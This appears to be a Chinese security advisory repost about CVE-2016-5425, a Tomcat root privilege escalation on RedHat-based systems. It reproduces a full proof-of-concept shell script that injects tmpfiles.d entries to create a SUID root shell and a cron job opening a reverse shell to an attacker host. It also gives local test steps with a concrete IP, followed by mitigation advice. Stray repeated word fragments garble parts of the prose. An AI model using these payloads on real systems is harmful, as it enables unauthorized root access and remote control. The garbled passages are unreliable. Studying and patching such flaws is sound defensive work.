最新公告:

保修政策

漏洞预警:基于RedHat发行的Apache Tomcat本地提权漏洞

2022-09-27 09:40:31字体:
  描述Tomcat最近总想搞一些大新闻,漏洞一个月都没到,基于Tomcat又爆出漏洞。发行2016年10月11日,地提洞网上爆出Tomcat本地提权漏洞,权漏漏洞编号为CVE-2016-5425。漏洞此次受到影响的基于主要是基于RedHat发行版ApacheTomcat,包括CentOS,发行RedHat,地提洞OracleLinux,权漏Fedora等等。漏洞主要原因是基于普通Tomcat用户拥有权限来对/usr/lib/tmpfiles.d/tomcat.conf这个配置文件进行读写,那么该用户组成员或者拥有普通Tomcat权限的发行WebShell可以将权限提升至root级别。漏洞描述基于RedHat发行版的地提洞Tomcat安装后,tomcat组用户对tomcat.conf文件具有写权限,权漏如下:[root@localhost ~] # ls -al /usr/lib/tmpfiles.d/tomcat.conf -rw-rw-r--. 1root tomcat 43May 122015/usr/lib/tmpfiles.d/tomcat.conftmpfiles.d目录下的配置文件是systemd-tmpfiles用于管理临时文件的,攻击者可以非常容易的注入恶意payload进tomcat.conf文件,比如新建一个反弹SHELL,新建一个具有SUID权限的文件。当/usr/bin/systemd-tmpfiles执行的时候,注入的payload也会随之得到执行。在REDHAT发行版,默认启动后,systemd-tmpfiles会通过systemd-tmpfiles-setup.service服务得到执行,如下:[root@localhost www] # cat /usr/lib/systemd/system/systemd-tmpfiles-setup.service |grep ExecStartExecStart= /usr/bin/systemd-tmpfiles --create --remove --boot --exclude-prefix=/dev依赖于系统使用,systemd-tmpfiles也可以通过其他服务,cronjobs,启动脚本,等方式来触发。值得说明的另外一个地方是, systemd-tmpfiles不会因为配置文件中的语法错误导致报错停止。因此攻击者可以很容易的注入恶意PAYLOAD到/usr/lib/tmpfiles.d/tomcat.conf 根据下面的POC,我们可以看到,·被注入到tomcat.conf ,意思是反弹SHELL,并新建一个具有SUID权限的shell,具体C,z,F的含义,我们可以通过 man 5 tmpfiles.d来查看。C /usr/share /tomcat/rootsh 4770root root - /bin/bash z /usr/share /tomcat/rootsh 4770root root - F /etc/cron.d/tomcatexploit 0644root root - "* * * * * root nohup bash -i /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 01 21POC -----------[ tomcat-RH-root.sh ]--------- #!/bin/bash# Apache Tomcat packaging on RedHat-based distros - Root Privilege Escalation PoC Exploit# CVE-2016-5425## Full advisory at:# http://legalhackers.com/advisories/Tomcat-RedHat-Pkgs-Root-PrivEsc-Exploit-CVE-2016-5425.html## Discovered and coded by:# Dawid Golunski# http://legalhackers.com## Tested on RedHat, CentOS, OracleLinux, Fedora systems.## For testing purposes only.#ATTACKER_IP=127.0.0.1 ATTACKER_PORT=9090 echo-e"\n* Apache Tomcat (RedHat distros) - Root PrivEsc PoC CVE-2016-5425 *"echo-e" Discovered by Dawid Golunski\n"echo"[+] Checking vulnerability"ls -l/usr/lib/tmpfiles.d/tomcat.conf | grep 'tomcat'if[ $? -ne0 ]; thenecho"Not vulnerable or tomcat installed under a different user than 'tomcat'"exit1 fiecho-e"\n[+] Your system is vulnerable!"echo-e"\n[+] Appending data to /usr/lib/tmpfiles.d/tomcat.conf..."cat_eof_/usr/lib/tmpfiles.d/tomcat.conf C /usr/share/tomcat/rootsh 4770 root root - /bin/bash z /usr/share/tomcat/rootsh 4770 root root - F /etc/cron.d/tomcatexploit 0644 root root - "* * * * * root nohup bash -i /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT01 21 \n\n"_eof_ echo"[+] /usr/lib/tmpfiles.d/tomcat.conf contains:"cat /usr/lib/tmpfiles.d/tomcat.conf echo-e"\n[+] Payload injected! Wait for your root shell...\n"echo-e"Once '/usr/bin/systemd-tmpfiles --create' gets executed (on reboot by tmpfiles-setup.service, by cron, by another service etc.), the rootshell will be created in /usr/share/tomcat/rootsh. Additionally, a reverse shell should get executed by crond shortly after and connect to $ATTACKER_IP:$ATTACKER_PORT\n"--------------[ eof ]-------------------- 本地测试:1.先确定下本地LINUX发行版本和TOMCAT版本。 2.切换到tomcat组权限下,附加恶意payload到/usr/lib/tmpfiles.d/tomcat.conf文件中。 cat _eof_ /usr/lib/tmpfiles.d/tomcat.conf F /etc/cron.d/tomcatexploit 0644root root - "* * * * * root nohup bash -i /dev/tcp/192.168.1.3/9999 01 21 \n\n"_eof_3.root权限下手动触发/usr/bin/systemd-tmpfiles –create[这步比较鸡肋,依赖系统有其他服务,cronjobs,启动脚本来触发,如果系统有,则好,如果没有,这个漏洞相对利用来说,需要触发systemd-tmpfiles,有点鸡肋][root@localhost Desktop] # /usr/bin/systemd-tmpfiles --create4.获取反弹ROOT权限的SHELL漏洞影响攻击者可以在具有tomcat权限时,通过改写配置文件实现本地提权到ROOT权限。如果远程攻击者结合特定的WEB应用程序漏洞,也可以实现远程利用。影响的版本 CentOS Fedora Oracle Linux RedHat Redhat官网细节:解决办法 临时修复建议可以调整/usr/lib/tmpfiles.d/tomcat.conf权限,移除tomcat组的写权限。chmod644/usr/lib/tmpfiles.d/tomcat.conf 更新最新Tomcat包Redhat安全小组已经在第一时间修复了受影响的Tomcat上游包,直接更新发行版提供的Tomcat即可。参考文章来源:FreeBuf

联系我们CONTACT

全国服务热线:

地 址:
电 话:
传 真:
邮 箱:

sitemap